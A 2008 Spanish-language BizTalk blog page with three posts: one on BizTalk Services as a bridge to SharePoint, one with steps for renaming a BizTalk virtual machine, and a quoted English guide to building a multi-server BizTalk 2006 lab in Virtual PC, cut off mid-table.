    BizTalk ha sido siempre el servidor “negociador” de Microsoft: si es necesario conectar un sistema cualquiera con otro sistema cualquiera, BizTalk es el pegante que los puede llevar a que conversen juntos, y, sobre todo, a que se entiendan. Personalmente, BizTalk es como el primer amor de juventud, del que siempre sigues enamorado, pero que desafortunadamente nunca funciono como debería. No es que no ame a SharePoint, ese el amor con el que vivo cotidianamente, sino que BizTalk siempre me ha gustado poderosamente sin que nunca haya tenido la oportunidad de hacer proyectos serios con él. Y ese el drama de BizTalk también: hasta ahora ha sido un servidor muy poderoso, pero también muy difícil de implementar y programar, que necesita recursos físicos demasiado grandes (12 Bases de Datos, si no me acuerdo mal, para una instalación por defecto), y que siempre ha sido demasiado costoso. Todo eso junto significa que mientras hay clientes haciendo fila para crear sistemas con SharePoint, BizTalk hay que metérselo por las narices a la fuerza a nuestros clientes para que lo acepten...

    A ver si BizTalk Services alivia los problemas. BizTalk Services (http://www.microsoft.com/biztalk/en/us/soa.aspx) nos permiten usar BizTalk sin tener que hacerle el hosting, sin tener problemas de uso en ambientes mezclados (intranet-extranet, problema que siempre se tiene con una instalación propia de BizTalk, la que cuesta infinita cantidad de problemas para hacerla pasar a través de FireWalls) y sin tenernos que preocupar por instalación, mantenimiento y todas esas cosas que nosotros, los pobres pica-código, no tenemos ganas ni paciencia para hacer (ni, la verdad sea dicha, los conocimientos técnicos para hacerlo bien hecho).

    Todo funciona por medio de SOA, es decir, por medio de WebServices. Un sistema en cualquier parte del mundo (o al lado de nuestro escritorio, qué más da) necesita datos de otro sistema en cualquier otra parte del mundo (o en el mismo servidor, da igual), los procesa y se los entrega a otro sistema, ustedes ya saben en donde... El problema es que cada uno de los sistemas espera/entrega los datos de una manera diferente... BizTalk es el “negociador” que convierte los datos de un sistema para que el otro los entienda, y luego recoge los datos procesados para “trasladarlos” en la forma que el siguiente proceso también pueda hacer algo con ellos, y el siguiente, y el siguiente. Y entre proceso y proceso se queda esperando pacientemente, manteniendo el estado de todas las transacciones, enviando mensajes si es necesario, preparando café y desayuno cada mañana, avisando a qué hora es la próxima cita con el dentista, etc... (Bueno, las dos últimas cosas pueden ser un poquito exageradas, pero ustedes ya entienden por donde va el agua al molino).

    Y todo esto es simplemente estupendo para SharePoint. Con los Flujos de Trabajo del WorkFlow Foundation y el Business Data Catalog se pueden hacer un montón de cosas bonitas, pero una de las limitaciones que SharePoint siempre ha tenido (aunque la situación ha mejorado notablemente con la versión 2007) es que es un servidor terriblemente egocéntrico: toda su información tiene que estar en sí mismo, y conectarlo con el mundo exterior nunca ha sido fácil. Con un sistema de BizTalk que no sea costoso ni difícil de utilizar se pueden mejorar radicalmente los rasgos autistas de SharePoint, y hacerlo comunicar con todo ese mundo de datos que existen fuere de él. Las posibilidades son múltiples: sistemas Back-Office con datos de cualquier tipo que se pueden presentar en el Portal, automatización de flujos de documentos e información (en lo que SharePoint es grande) proveniente del mundo externo, envío de datos contenidos en SharePoint a sistemas fuera de el, el cielo es el limite... de pronto el primer amor se junta con el amor cotidiano en un trío incestuoso...

    Gustavo - http://www.gavd.net/servers/
    Escriba un Comentario que me haga reir...

    posted @ 5/30/2008 8:21 AM by Gustavo


    BizTalk: Changing a VPC Computer Name with BizTalk

    Al hilo del anterior post, una de los problemas más repetidos cuando se trabaja con BizTalk, cómo cambiar el nombre de máquina:

    Solución:

    Export any information from the BizTalk databases (business rules etc.)
    Run ConfigFramework /u
    Delete BizTalk jobs in SQL Server Agent
    Delete BizTalk logons in SQL Server Security
    Delete BizTalk databases
    Change computer name
    Re-start computer
    Change SQL Server Name (with sp_dropserver, sp_addserver)
    Run ConfigFramework
    Change BizTalkMgmtDB connection in Visual Studio
    Change rules engine DB connection in Business Rules Policy Editor
    Re-enable BackupBizTalk server DBs job
    Add any Hosts and host instances using BizTalk Server Administration
    Import information to the BizTalk databases (business rules etc.)

    Workaround, para que las máquinas de desarrollo accedan a recursos externos como SourceSafe:

    No cambiar el nombre de máquina, usar Shared Networking (NAT) en la VM para que tu máquina host haga de gateway.

    Ahora hay dos posibilidades:

    - Crear un usuario local en la VM con las mismas credenciales que tu cuenta de dominio usada para autenticarse en los recursos externos

    - Si no quieres crear una cuenta local, lanza:

    net use \\<servername>\ipc$ /user:<your domain name>\<your user name>

     

    Saludos

    posted @ 5/29/2008 9:57 PM by Tomás Hernández


    BizTalk: BizTalk Server 2006 Virtual Multi-Box Install

    El señor Alan Smith ha publicado un post que me parece muy interesante, y como este blog aparte de ser un medio para comunicarme con el exterior sobre temas con los que suelo estar trabajando, es tambien mi memoria extendida, por eso posteo esta guía sobre como montar un laboratorio BizTalk multiserver.

    http://geekswithblogs.net/asmith/archive/2007/05/29/112820.aspx

     

    Introduction

    One of the great improvements in BizTalk Server 2006 was the ease of the installation and configuration of a developer machine install. Whilst single box installs are now relatively simple, there is still quite a challenge in installing BizTalk Server in a multi-server environment. This article will run through a basic multi server installation of BizTalk Server 2006 using Virtual PC to host the servers.

    It’s worth running through a multi server installation using Virtual PC before trying it with real hardware. Using undo disks across multiple virtual machines means you can roll back and try again if the configuration fails, which is a definite time saver. If you want to try this at home, you’ll need basic knowledge of BizTalk 2004 or 2006 single box installation, along with installing all the other server products that go with it. A basic knowledge of creating an Active Directory domain, and creating domain users and groups is good to have too.

    I have bullet pointed a few of the setup tasks, but as this is a BizTalk lab, not an Active Directory, IIS, or Windows Server lab, so you’ll have to forgive me for not detailing these too well (there’s plenty of documentation out there for these tasks anyway, right?).

    Simplified Install

    This lab will focus on the installation of the core BizTalk Server components:

    • Enterprise SSO
    • BizTalk Group
    • BizTalk Runtime
    • MSMQT
    • Business Rules Engine

    Software Used for this Lab

    For this lab, I used the software listed below.

    • Microsoft Virtual PC 2004 with SP1
    • Windows Server 2003 Standard Edition with SP1
    • SQL Server 2005 Developer Edition
    • BizTalk Server 2006 Developer Edition

    I found the best option was to download the ISO files for these from MSDN, which saves swapping CDs.

    Using Microsoft Virtual PC

    I used Microsoft Virtual PC to host the virtual machines for this setup, it works well, and it’s now free to use. Virtual Server or other products may also work fine.

    Cunning Use of Undo Disks

    If your first BizTalk multi-box install goes anything like my first attempt, you will be glad of the ability to create undo disks in Virtual PC. For the configuration stages, I usually set undo disks on all the VPC images, then run the configuration, and skip changes if anything went wrong. It’s much easier to run the configuration from a clean setup than to have to manually delete all the databases.

    Virtual Machine Settings, RAM and HD Requirements

    If you have a gig of ram, you should just be able to have three virtual machines running at the same time, provided you set the ram for each VM accordingly. I’ve found using two gigs of RAM gives much better results.

    Here’s a rough guide to how you should set the VM ram.

    If you have…

    Then…

    2 GB

    Use 512 MB for each virtual machine

    1 GB

    Use 256 MB for each virtual machine

    Less than 1 GB

    Buy more RAM

     

    I ran this lab with 2 gig ram, and used 512 for each VM. This meant the VMs were running pretty slowly, but it was fine for functionally testing the install.

    You’ll also need about 10 - 15 GB hard disk space for the virtual machines. I found that using an external USB2 hard drive gave me more performance than using the internal drive on my laptop.

    Local Only Networking

    As we are creating a domain for the BizTalk server group, it’s best to work with local only networking on all the VMs. This means it’s easy to set a static IP address for the domain controller VM, and have the other servers use it for DNS and DHCP.

    Multi-Box Install Overview

    In this lab, I went for the simplest option of a three server configuration, one for Active Directory, SQL Server, and SSO Master Secret Server, and two BizTalk boxes.

    ServerName

    Description

    ADSQL

    Active directory server hosting the BizTalk domain user accounts and groups, also hosts SQL server and the SSO Master Secret Server.

    BizTalk1

    First BizTalk Server to be